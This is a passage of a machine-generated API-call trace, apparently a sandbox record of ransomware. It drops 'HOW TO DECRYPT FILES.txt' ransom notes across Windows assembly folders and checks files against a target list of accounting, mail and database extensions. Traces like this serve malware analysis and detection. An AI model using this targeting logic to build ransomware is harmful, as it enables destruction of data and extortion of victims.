returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\" [0108.498] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\") returned="" [0108.498] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\HOW TO DECRYPT FILES.txt" [0108.498] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\1cf7326b83227fb18cc6504a983b6086\\how to decrypt files.txt")) returned 0xffffffff [0108.498] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\1cf7326b83227fb18cc6504a983b6086\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.506] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.506] CloseHandle (hObject=0x90) returned 1 [0108.506] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\", lpString2="Microsoft.Office.Interop.InfoPath.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\Microsoft.Office.Interop.InfoPath.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\Microsoft.Office.Interop.InfoPath.ni.dll" [0108.506] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\1cf7326b83227fb18cc6504a983b6086\\Microsoft.Office.Interop.InfoPath.ni.dll", pszSpec="*.ems") returned 0 [0108.506] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7726850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb7726850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7726850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x129200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.507] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.507] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5bc6b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5bc6b50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="8b5d3bcbef16f7918405c47e26f77b60", cAlternateFileName="8B5D3B~1")) returned 1 [0108.507] lstrcmpA (lpString1=".", lpString2="8b5d3bcbef16f7918405c47e26f77b60") returned -1 [0108.507] lstrcmpA (lpString1="..", lpString2="8b5d3bcbef16f7918405c47e26f77b60") returned -1 [0108.507] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.507] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="8b5d3bcbef16f7918405c47e26f77b60" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60" [0108.507] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5bc6b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5bc6b50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.509] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.509] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5bc6b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5bc6b50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.509] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.509] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.509] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5ba09f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ba09f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x29600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.510] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.510] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.ni.dll") returned -1 [0108.510] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.ni.dll") returned -1 [0108.510] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.ni.dll") returned -1 [0108.510] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\*.*") returned="*.*" [0108.510] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\" [0108.510] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\") returned="" [0108.510] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\HOW TO DECRYPT FILES.txt" [0108.510] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\8b5d3bcbef16f7918405c47e26f77b60\\how to decrypt files.txt")) returned 0xffffffff [0108.510] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\8b5d3bcbef16f7918405c47e26f77b60\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.513] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.513] CloseHandle (hObject=0x90) returned 1 [0108.513] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\", lpString2="Microsoft.Office.InfoPath.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\Microsoft.Office.InfoPath.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\Microsoft.Office.InfoPath.ni.dll" [0108.513] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\8b5d3bcbef16f7918405c47e26f77b60\\Microsoft.Office.InfoPath.ni.dll", pszSpec="*.ems") returned 0 [0108.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ba09f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5ba09f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5ba09f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x29600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.514] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.514] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb55d3450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb55d3450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="919b1b3aa44a39a1d7ab98a6219d70d3", cAlternateFileName="919B1B~1")) returned 1 [0108.514] lstrcmpA (lpString1=".", lpString2="919b1b3aa44a39a1d7ab98a6219d70d3") returned -1 [0108.514] lstrcmpA (lpString1="..", lpString2="919b1b3aa44a39a1d7ab98a6219d70d3") returned -1 [0108.514] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\*.*") returned="*.*" [0108.514] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\", lpString2="919b1b3aa44a39a1d7ab98a6219d70d3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3" [0108.514] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb55d3450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb55d3450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.534] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.535] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb55d3450, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb55d3450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb55d3450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.535] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.535] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.535] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5587190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb5587190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb55ad2f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2a6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.535] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.535] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll") returned -1 [0108.535] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll") returned -1 [0108.535] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll") returned -1 [0108.536] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\*.*") returned="*.*" [0108.536] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\" [0108.536] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\") returned="" [0108.536] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\HOW TO DECRYPT FILES.txt" [0108.536] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\919b1b3aa44a39a1d7ab98a6219d70d3\\how to decrypt files.txt")) returned 0xffffffff [0108.537] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.in#\\919b1b3aa44a39a1d7ab98a6219d70d3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.567] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.569] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.570] CloseHandle (hObject=0x90) returned 1 [0108.570] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\", lpString2="Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll" [0108.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.ems") returned 0 [0108.570] lstrlenA (lpString="*.ems") returned 5 [0108.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.db") returned 0 [0108.570] lstrlenA (lpString="*.db") returned 4 [0108.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.dbf") returned 0 [0108.570] lstrlenA (lpString="*.dbf") returned 5 [0108.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.myox") returned 0 [0108.570] lstrlenA (lpString="*.myox") returned 6 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.myo") returned 0 [0108.571] lstrlenA (lpString="*.myo") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbw") returned 0 [0108.571] lstrlenA (lpString="*.qbw") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbb") returned 0 [0108.571] lstrlenA (lpString="*.qbb") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbm") returned 0 [0108.571] lstrlenA (lpString="*.qbm") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbo") returned 0 [0108.571] lstrlenA (lpString="*.qbo") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbx") returned 0 [0108.571] lstrlenA (lpString="*.qbx") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qba") returned 0 [0108.571] lstrlenA (lpString="*.qba") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qby") returned 0 [0108.571] lstrlenA (lpString="*.qby") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qbj") returned 0 [0108.571] lstrlenA (lpString="*.qbj") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.ofx") returned 0 [0108.571] lstrlenA (lpString="*.ofx") returned 5 [0108.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.qif") returned 0 [0108.572] lstrlenA (lpString="*.qif") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mye") returned 0 [0108.572] lstrlenA (lpString="*.mye") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mbox") returned 0 [0108.572] lstrlenA (lpString="*.mbox") returned 6 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.eml") returned 0 [0108.572] lstrlenA (lpString="*.eml") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.pst") returned 0 [0108.572] lstrlenA (lpString="*.pst") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.ost") returned 0 [0108.572] lstrlenA (lpString="*.ost") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.idx") returned 0 [0108.572] lstrlenA (lpString="*.idx") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.dbx") returned 0 [0108.572] lstrlenA (lpString="*.dbx") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.sql") returned 0 [0108.572] lstrlenA (lpString="*.sql") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.mdb") returned 0 [0108.572] lstrlenA (lpString="*.mdb") returned 5 [0108.572] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.fdb") returned 0 [0108.573] lstrlenA (lpString="*.fdb") returned 5 [0108.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.wab") returned 0 [0108.573] lstrlenA (lpString="*.wab") returned 5 [0108.573] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\919b1b3aa44a39a1d7ab98a6219d70d3\\Microsoft.Office.InfoPath.Client.Internal.Host.ni.dll", pszSpec="*.dat") returned 0 [0108.573] lstrlenA (lpString="*.dat") returned 5 